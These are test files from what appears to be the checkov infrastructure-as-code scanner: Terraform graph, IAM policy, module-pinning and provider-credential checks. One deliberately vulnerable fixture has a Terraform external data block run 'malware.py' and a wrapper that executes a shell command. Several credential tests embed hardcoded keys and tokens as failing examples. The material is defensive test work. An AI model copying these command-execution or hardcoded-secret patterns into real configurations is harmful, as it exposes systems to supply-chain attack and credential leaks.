hcl_config_parser.parse_hcl_module(test_files_dir, source='TERRAFORM') local_graph = TerraformLocalGraph(module) local_graph.build_graph(True) # assert resource with provider ref. resource_provider_address_with_alias = local_graph.vertices[0].attributes.get('__provider_address__') provider_address_with_alias = local_graph.vertices[4].attributes.get('__address__') assert resource_provider_address_with_alias == provider_address_with_alias def test_provider_edge_cases(self): test_files_dir = Path(__file__).parent / "example_provider_edge_case" hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(test_files_dir, source='TERRAFORM') local_graph = TerraformLocalGraph(module) local_graph.build_graph(True) assert local_graph.vertices[3].attributes.get('__provider_address__') == "aws.default" assert local_graph.vertices[8].attributes.get('__provider_address__') == "module.level1.aws.default" assert local_graph.vertices[9].attributes.get('__provider_address__') == "module.level1.aws.default" assert local_graph.vertices[10].attributes.get('__provider_address__') == "module.level1.aws.eu_west" assert local_graph.vertices[11].attributes.get('__provider_address__') == "aws.default" if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/aws/test_ResourcePolicyDocument.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.data.aws.ResourcePolicyDocument import check from checkov.terraform.runner import Runner class TestResourcePolicyDocument(unittest.TestCase): def setUp(self): from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner # needs to be reset, because the cache belongs to the class not instance BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {} def test(self): test_files_dir = Path(__file__).parent / "example_ResourcePolicyDocument" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_iam_policy_document.pass", "aws_iam_policy_document.pass2", "aws_iam_policy_document.pass_unrestrictable", "aws_iam_policy_document.pass_condition", } failing_resources = { "aws_iam_policy_document.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} print("passed_check_resources") print(passed_check_resources) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/aws/test_StarActionPolicyDocument.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.data.aws.StarActionPolicyDocument import check from checkov.terraform.runner import Runner class TestStarActionPolicyDocument(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_StarActionPolicyDocument" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_iam_policy_document.flatten", "aws_iam_policy_document.pass", "aws_iam_policy_document.unknown", } failing_resources = { "aws_iam_policy_document.fail", "aws_iam_policy_document.no_effect", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/aws/test_WhoAMI.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.data.aws.WhoAMI import check from checkov.terraform.runner import Runner class TestWhoAMI(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_WhoAMI" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_ami.pass1", "aws_ami.pass2" } failing_resources = { "aws_ami.fail1", "aws_ami.fail2" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/example_external_dir/extra_checks/DummyExternalDataCheck.py ================================================ from checkov.terraform.checks.data.base_check import BaseDataCheck from checkov.common.models.enums import CheckResult, CheckCategories class DummyExternalDataCheck(BaseDataCheck): def __init__(self): name = "check for terraform data entity" id = "CKV_AWS_999" supported_resources = ['aws_iam_policy_document'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_data=supported_resources) def scan_data_conf(self, conf): return CheckResult.PASSED scanner = DummyExternalDataCheck() ================================================ FILE: tests/terraform/checks/data/example_external_dir/extra_checks/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/data/external/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/data/external/example_external_data/main.tf ================================================ data "external" "external_provider" { program = ["python3", "malware.py"] } output "external_provider_example" { value = data.external.external_provider } ================================================ FILE: tests/terraform/checks/data/external/example_external_data/wrapper.py ================================================ # flake8: noqa # skip this file from pylint since it vulnerable by design import json import os stream = os.popen('id') output = stream.read() result = {"result": output} print(json.dumps(result)) ================================================ FILE: tests/terraform/checks/data/external/external_check/ExternalData.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.data.base_check import BaseDataCheck class ExternalData(BaseDataCheck): def __init__(self) -> None: name = 'Ensure terraform external data blocks runs vetted code' id = "CKV_TF_DATA_EXTERNAL_1" supported_data = ["external"] categories = [CheckCategories.SUPPLY_CHAIN] super().__init__(name=name, id=id, categories=categories, supported_data=supported_data) def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: # based on https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ return CheckResult.FAILED check = ExternalData() ================================================ FILE: tests/terraform/checks/data/external/external_check/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: tests/terraform/checks/data/external/test_external_data.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.data.registry import data_registry class TestExternalData(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_external_data" external_check_dir = Path(__file__).parent / "external_check" runner = Runner() report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=["CKV_TF_DATA_EXTERNAL_1"]), external_checks_dir=[external_check_dir]) summary = report.get_summary() print(data_registry) self.assertEqual(summary["passed"], 0) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) check = next(c for c in data_registry.checks["external"] if c.id == "CKV_TF_DATA_EXTERNAL_1") data_registry.checks["external"].remove(check) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/gcp/example_GooglePolicyIsPrivate/main.tf ================================================ data "google_iam_policy" "pass" { binding { role = "roles/cloudkms.cryptoKeyEncrypter" members = [ "user:jane@example.com", ] } } data "google_iam_policy" "fail" { binding { role = "roles/cloudkms.cryptoKeyEncrypter" members = [ "allUsers", ] } } ================================================ FILE: tests/terraform/checks/data/gcp/test_GooglePolicyIsPrivate.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.data.gcp.GooglePolicyIsPrivate import check from checkov.terraform.runner import Runner class TestGooglePolicyIsPrivate(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_GooglePolicyIsPrivate" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "google_iam_policy.pass", } failing_resources = { "google_iam_policy.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/data/test_base_data_check.py ================================================ import pytest from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.data.base_check import BaseDataCheck class TestStaticCheck(BaseDataCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self): name = "Test something" id = "CKV_TEST_2" supported_data = ["ckv_test"] categories = [CheckCategories.CONVENTION] super().__init__(name=name, id=id, categories=categories, supported_data=supported_data) def scan_data_conf(self, conf): if "check_result" in conf.keys(): check_result = conf["check_result"][0] if check_result: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN @pytest.mark.parametrize( "conf,expected", [ ({"check_result": [True]}, CheckResult.PASSED), ({"check_result": [False]}, CheckResult.FAILED), ({"foo": ["bar"]}, CheckResult.UNKNOWN), ({"count": [0], "check_result": [True]}, CheckResult.UNKNOWN), ({"count": [1], "check_result": [True]}, CheckResult.PASSED), ], ids=["pass", "fail", "unknown", "count_zero", "count_one"], ) def test_scan_entity_conf(conf, expected): result = TestStaticCheck().scan_entity_conf(conf, "ckv_test") assert result == expected ================================================ FILE: tests/terraform/checks/data/test_registry.py ================================================ import os import unittest from unittest.mock import patch class TestRegistry(unittest.TestCase): def setUp(self): from checkov.terraform.checks.data.registry import data_registry self.registry = data_registry @patch('os.path.exists') def test_with_init(self, mock_path_exists): mock_path_exists.return_value = True self.assertTrue(self.registry._directory_has_init_py("/foo/bar")) @patch('os.path.exists') def test_without_init(self, mock_path_exists): mock_path_exists.return_value = False self.assertFalse(self.registry._directory_has_init_py("/foo/bar")) def test_registry_external_check_load(self): current_dir = os.path.dirname(os.path.realpath(__file__)) external_dir = current_dir + "/example_external_dir/extra_checks" self.registry.load_external_checks(external_dir) external_check_loaded = False external_check = None for check in self.registry.checks['aws_iam_policy_document']: if check.__class__.__name__ == 'DummyExternalDataCheck': external_check_loaded = True external_check = check self.assertTrue(external_check_loaded) self.registry.checks['aws_iam_policy_document'].remove(external_check) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/example_WildcardEntities/main.tf ================================================ locals { dummy_with_dash = format("-%s", var.dummy_1) dummy_with_comma = format(":%s", var.dummy_1) bucket_name = var.bucket_name } variable "user_exists" { default = false } resource "aws_cognito_user_group" "user_group" { name = "${var.customer_name}_group" description = "${var.customer_name} user group" user_pool_id = var.user_pool_id } resource "null_resource" "create_cognito_user" { count = var.user_exists ? 0 : 1 triggers = { build_number = var.user_email } provisioner "local-exec" { command = "aws --profile=${var.aws_profile} --region=${var.region} cognito-idp admin-create-user --user-pool-id ${var.user_pool_id} --username ${var.user_email}" } } resource "aws_iam_account_password_policy" "password-policy" { minimum_password_length = 15 require_lowercase_characters = true require_numbers = true require_uppercase_characters = true require_symbols = true allow_users_to_change_password = true } data "aws_iam_policy_document" "event_stream_bucket_role_assume_role_policy" { statement { actions = [var.action] resources = [ "*", "abc" ] principals { type = "Service" identifiers = ["firehose.amazonaws.com"] } principals { type = "AWS" identifiers = var.trusted_role_arn } } } resource "aws_s3_bucket" "template_bucket" { region = var.region bucket = local.bucket_name acl = var.acl force_destroy = true } ================================================ FILE: tests/terraform/checks/module/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/module/generic/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/module/generic/example_RevisionHash/main.tf ================================================ # pass module "hash" { source = "git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=26c38a66f12e7c6c93b6a2ba127ad68981a48671" name = "my-vpc" cidr = "10.0.0.0/16" azs = ["eu-west-1a", "eu-west-1b", "eu-west-1c"] private_subnets = ["10.0.1.0/24", "10.0.2.0/24", "10.0.3.0/24"] public_subnets = ["10.0.101.0/24", "10.0.102.0/24", "10.0.103.0/24"] enable_nat_gateway = true enable_vpn_gateway = true tags = { Terraform = "true" Environment = "dev" } } module "sub_dir_hash" { source = "git::https://github.com/terraform-aws-modules/terraform-aws-cloudwatch.git//modules/log-group?ref=60cf981e0f1ae033699e5b274440867e48289967" name = "git" retention_in_days = 120 } # fail module "tf_registry" { source = "terraform-aws-modules/cloudwatch/aws//modules/log-group" version = "4.3.0" name = "normal" retention_in_days = 120 } module "tag" { source = "git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=v5.0.0" name = "my-vpc" cidr = "10.0.0.0/16" azs = ["eu-west-1a", "eu-west-1b", "eu-west-1c"] private_subnets = ["10.0.1.0/24", "10.0.2.0/24", "10.0.3.0/24"] public_subnets = ["10.0.101.0/24", "10.0.102.0/24", "10.0.103.0/24"] enable_nat_gateway = true enable_vpn_gateway = true tags = { Terraform = "true" Environment = "dev" } } # unknown module "relative" { source = "./example" } module "backtrack" { source = "../example" } ================================================ FILE: tests/terraform/checks/module/generic/example_RevisionVersionTag/main.tf ================================================ # pass module "hash" { source = "git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=26c38a66f12e7c6c93b6a2ba127ad68981a48671" name = "my-vpc" cidr = "10.0.0.0/16" azs = ["eu-west-1a", "eu-west-1b", "eu-west-1c"] private_subnets = ["10.0.1.0/24", "10.0.2.0/24", "10.0.3.0/24"] public_subnets = ["10.0.101.0/24", "10.0.102.0/24", "10.0.103.0/24"] enable_nat_gateway = true enable_vpn_gateway = true tags = { Terraform = "true" Environment = "dev" } } module "sub_dir_hash" { source = "git::https://github.com/terraform-aws-modules/terraform-aws-cloudwatch.git//modules/log-group?ref=60cf981e0f1ae033699e5b274440867e48289967" name = "git" retention_in_days = 120 } module "tag" { source = "git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=v5.0.0" name = "my-vpc" cidr = "10.0.0.0/16" azs = ["eu-west-1a", "eu-west-1b", "eu-west-1c"] private_subnets = ["10.0.1.0/24", "10.0.2.0/24", "10.0.3.0/24"] public_subnets = ["10.0.101.0/24", "10.0.102.0/24", "10.0.103.0/24"] enable_nat_gateway = true enable_vpn_gateway = true tags = { Terraform = "true" Environment = "dev" } } module "shallow_clone" { source = "git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?depth=1&ref=v1.2.0" } module "module_with_version" { source = "terraform-aws-modules/iam/aws//modules/iam-github-oidc-role" version = "5.39.1" } # fail module "tf_registry_no_version" { source = "terraform-aws-modules/cloudwatch/aws//modules/log-group" } module "looks_like_a_branch" { source = "git::https://github.com/terraform-aws-modules/terraform-aws-vpc.git?ref=some_branch_name" name = "my-vpc" cidr = "10.0.0.0/16" azs = ["eu-west-1a", "eu-west-1b", "eu-west-1c"] private_subnets = ["10.0.1.0/24", "10.0.2.0/24", "10.0.3.0/24"] public_subnets = ["10.0.101.0/24", "10.0.102.0/24", "10.0.103.0/24"] enable_nat_gateway = true enable_vpn_gateway = true tags = { Terraform = "true" Environment = "dev" } } module "github_module" { source = "github.com/hashicorp/example" } module "bitbucket_module" { source = "bitbucket.org/hashicorp/terraform-consul-aws" } module "github_ssh_module" { source = "git@github.com:hashicorp/example.git" } module "generic_git_module" { source = "git::https://example.com/vpc.git" } # unknown module "relative" { source = "./example" } module "backtrack" { source = "../example" } ================================================ FILE: tests/terraform/checks/module/generic/test_RevisionHash.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.module.generic.RevisionHash import check from checkov.terraform.runner import Runner class TestRevisionHash(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_RevisionHash" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "hash", "sub_dir_hash", } failing_resources = { "tag", "tf_registry", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/module/generic/test_RevisionVersionTag.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.module.generic.RevisionVersionTag import check from checkov.terraform.runner import Runner class TestRevisionVersionTag(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_RevisionVersionTag" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "hash", "sub_dir_hash", "tag", "shallow_clone", "module_with_version" } failing_resources = { "looks_like_a_branch", "tf_registry_no_version", "generic_git_module", "bitbucket_module", "github_ssh_module", "github_module" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/module/registry/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/module/registry/example_external_dir/extra_checks/ModuleCheck.py ================================================ from checkov.common.models.enums import CheckResult from checkov.terraform.checks.module.base_module_check import BaseModuleCheck class ModuleCheck(BaseModuleCheck): def __init__(self): name = "Some test for module calls" id = "CKV_M_999" supported_resources = ['module'] categories = [] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_module_conf(self, conf): """ Some test for module source :param conf: module call :return: """ return CheckResult.PASSED if 'source' in conf.keys() else CheckResult.FAILED scanner = ModuleCheck() ================================================ FILE: tests/terraform/checks/module/registry/example_external_dir/extra_checks/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/module/registry/example_external_dir_with_module_version_check/extra_checks/ModuleSourceHashCheck.py ================================================ import re from checkov.common.models.enums import CheckResult from checkov.terraform.checks.module.base_module_check import BaseModuleCheck MODULE_GIT_VERSION_PATTERN = re.compile(r"git::https?:\/\/[^\/]+\/.+.git\?ref=(\b[0-9a-f]{5,40}\b)") class ModuleSourceHashCheck(BaseModuleCheck): def __init__(self): name = "Ensure module is immutable using commit hash" id = "CKV_TF_MODULE_2" supported_resources = ['module'] categories = [] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_module_conf(self, conf): """ Some test for module source :param conf: module call :return: """ source = conf.get('source', []) if not source: # source is using latest or tagged version return CheckResult.FAILED else: if MODULE_GIT_VERSION_PATTERN.match(source[0]): # immutable source is being used return CheckResult.PASSED # non immutable source is used return CheckResult.FAILED scanner = ModuleSourceHashCheck() ================================================ FILE: tests/terraform/checks/module/registry/example_external_dir_with_module_version_check/extra_checks/ModuleVersionCheck.py ================================================ from packaging import version as v from checkov.common.models.enums import CheckResult from checkov.terraform.checks.module.base_module_check import BaseModuleCheck class S3ModuleVersionCheck(BaseModuleCheck): def __init__(self): name = "Ensure S3 module is from version 0.47.0" id = "CKV_TF_MODULE_1" supported_resources = ['module'] categories = [] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_module_conf(self, conf): """ Some test for module source :param conf: module call :return: """ version = conf.get('version', []) if not version: # latest version is used return CheckResult.PASSED else: if v.parse(version[0]) <= v.parse("0.3.4"): # misconfigured version is used return CheckResult.FAILED # good version is used return CheckResult.PASSED scanner = S3ModuleVersionCheck() ================================================ FILE: tests/terraform/checks/module/registry/example_external_dir_with_module_version_check/extra_checks/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/module/registry/resources/main.tf ================================================ module "s3_bucket" { source = "cloudposse/s3-bucket/aws" version = "0.3.4" acl = "private" enabled = true user_enabled = true versioning_enabled = false allowed_bucket_actions = ["s3:GetObject", "s3:ListBucket", "s3:GetBucketLocation"] name = "app" stage = "test" namespace = "eg" } module "old_s3_bucket" { source = "cloudposse/s3-bucket/aws" version = "0.2.4" acl = "private" enabled = true user_enabled = true versioning_enabled = false allowed_bucket_actions = ["s3:GetObject", "s3:ListBucket", "s3:GetBucketLocation"] name = "app" stage = "test" namespace = "eg" } module "latest_s3_bucket" { source = "cloudposse/s3-bucket/aws" version = "0.2.4" acl = "private" enabled = true user_enabled = true versioning_enabled = false allowed_bucket_actions = ["s3:GetObject", "s3:ListBucket", "s3:GetBucketLocation"] name = "app" stage = "test" namespace = "eg" } module "valid_s3_bucket" { source = "cloudposse/s3-bucket/aws" version = "0.47.4" acl = "private" enabled = true user_enabled = true versioning_enabled = false allowed_bucket_actions = ["s3:GetObject", "s3:ListBucket", "s3:GetBucketLocation"] name = "app" stage = "test" namespace = "eg" } module "immutable_module"{ source = "git::https://example.com/storage.git?ref=51d462976d84fdea54b47d80dcabbf680badcdb8" } ================================================ FILE: tests/terraform/checks/module/registry/test_ModuleCheck.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.module.registry import module_registry from checkov.terraform.runner import Runner class TestModuleCheck(unittest.TestCase): def test_module_version(self): external_checks = Path.joinpath(Path(__file__).parent, "example_external_dir_with_module_version_check/extra_checks").as_posix() test_files_dir = Path(__file__).parent / "resources" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=["CKV_TF_MODULE_1"]), external_checks_dir=[external_checks]) summary = report.get_summary() self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 3) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) # remove custom checks check = next(c for c in module_registry.checks["module"] if c.id == "CKV_TF_MODULE_1") module_registry.checks["module"].remove(check) check = next(c for c in module_registry.checks["module"] if c.id == "CKV_TF_MODULE_2") module_registry.checks["module"].remove(check) def test_immutable_module(self): external_checks = Path.joinpath(Path(__file__).parent, "example_external_dir_with_module_version_check/extra_checks").as_posix() test_files_dir = Path(__file__).parent / "resources" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=["CKV_TF_MODULE_2"]), external_checks_dir=[external_checks]) summary = report.get_summary() self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) # remove custom checks check = next(c for c in module_registry.checks["module"] if c.id == "CKV_TF_MODULE_1") module_registry.checks["module"].remove(check) check = next(c for c in module_registry.checks["module"] if c.id == "CKV_TF_MODULE_2") module_registry.checks["module"].remove(check) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/module/registry/test_registry.py ================================================ import os import unittest from unittest.mock import patch class TestRegistry(unittest.TestCase): def setUp(self): from checkov.terraform.checks.module.registry import module_registry self.registry = module_registry @patch('os.path.exists') def test_with_init(self, mock_path_exists): mock_path_exists.return_value = True self.assertTrue(self.registry._directory_has_init_py("/foo/bar")) @patch('os.path.exists') def test_without_init(self, mock_path_exists): mock_path_exists.return_value = False self.assertFalse(self.registry._directory_has_init_py("/foo/bar")) def test_registry_external_check_load(self): current_dir = os.path.dirname(os.path.realpath(__file__)) external_dir = current_dir + "/example_external_dir/extra_checks" self.registry.load_external_checks(external_dir) external_check_loaded = False external_check = None for check in self.registry.checks['module']: if check.__class__.__name__ == 'ModuleCheck': external_check_loaded = True external_check = check self.assertTrue(external_check_loaded) self.registry.checks['module'].remove(external_check) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/provider/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/provider/aws/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/provider/aws/test_credentials.py ================================================ import unittest import hcl2 from checkov.terraform.checks.provider.aws.credentials import check from checkov.common.models.enums import CheckResult class TestCredentials(unittest.TestCase): def test_success_empty(self): hcl_res = hcl2.loads( """ provider "aws" {} """ ) provider_conf = hcl_res["provider"][0]["aws"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_region(self): hcl_res = hcl2.loads( """ provider "aws" { region = "us-west-2" } """ ) provider_conf = hcl_res["provider"][0]["aws"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure_both_keys(self): hcl_res = hcl2.loads( """ provider "aws" { region = "us-west-2" access_key = "AKIAIOSFODNN7EXAMPLE" secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } """ ) provider_conf = hcl_res["provider"][0]["aws"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_access_key(self): hcl_res = hcl2.loads( """ provider "aws" { region = "us-west-2" access_key = "AKIAIOSFODNN7EXAMPLE" } """ ) provider_conf = hcl_res["provider"][0]["aws"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_secret_key(self): hcl_res = hcl2.loads( """ provider "aws" { region = "us-west-2" secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } """ ) provider_conf = hcl_res["provider"][0]["aws"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/provider/bridgecrew/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/provider/bridgecrew/test_credentials.py ================================================ import unittest import hcl2 from checkov.terraform.checks.provider.bridgecrew.credentials import check from checkov.common.models.enums import CheckResult class TestCredentials(unittest.TestCase): def test_success(self): hcl_res = hcl2.loads( """ provider "bridgecrew" {} """ ) provider_conf = hcl_res["provider"][0]["bridgecrew"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): hcl_res = hcl2.loads( """ provider "bridgecrew" { token = "80e54890-f282-4595-ab3d-45f9bd874987" } """ ) provider_conf = hcl_res["provider"][0]["bridgecrew"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/provider/linode/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/provider/linode/test_credentials.py ================================================ import unittest import hcl2 from checkov.terraform.checks.provider.linode.credentials import check from checkov.common.models.enums import CheckResult class TestCredentials(unittest.TestCase): def test_success(self): hcl_res = hcl2.loads( """ provider "linode" {} """ ) provider_conf = hcl_res["provider"][0]["linode"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): hcl_res = hcl2.loads( """ provider "linode" { token = "c7680462065ee80d0fef2940784b1af6826f6e0b18586194c5f67c4b40fa7f09" } """ ) provider_conf = hcl_res["provider"][0]["linode"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/provider/ncp/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/provider/ncp/test_credentials.py ================================================ import unittest import hcl2 from checkov.terraform.checks.provider.ncp.credentials import check from checkov.common.models.enums import CheckResult class TestCredentials(unittest.TestCase): def test_success_empty(self): hcl_res = hcl2.loads( """ provider "ncloud" {} """ ) provider_conf = hcl_res["provider"][0]["ncloud"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_region(self): hcl_res = hcl2.loads( """ provider "ncloud" { region = "KR" } """ ) provider_conf = hcl_res["provider"][0]["ncloud"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure_both_keys(self): hcl_res = hcl2.loads( """ provider "ncloud" { region = "KR" access_key = "AKIAIOSFODNN7EXAMPLE" secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } """ ) provider_conf = hcl_res["provider"][0]["ncloud"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_access_key(self): hcl_res = hcl2.loads( """ provider "ncloud" { region = "KR" access_key = "AKIAIOSFODNN7EXAMPLE" } """ ) provider_conf = hcl_res["provider"][0]["ncloud"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_secret_key(self): hcl_res = hcl2.loads( """ provider "ncloud" { region = "KR" secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } """ ) provider_conf = hcl_res["provider"][0]["ncloud"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/provider/oci/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/provider/oci/test_credentials.py ================================================ import unittest import hcl2 from checkov.terraform.checks.provider.oci.credentials import check from checkov.common.models.enums import CheckResult class TestCredentials(unittest.TestCase): def test_success(self): hcl_res = hcl2.loads( """ provider "panos" {} """ ) provider_conf = hcl_res["provider"][0]["panos"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): hcl_res = hcl2.loads( """ provider "panos" { private_key_password = "anystringwilldo" } """ ) provider_conf = hcl_res["provider"][0]["panos"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/provider/openstack/__init__.py ================================================ 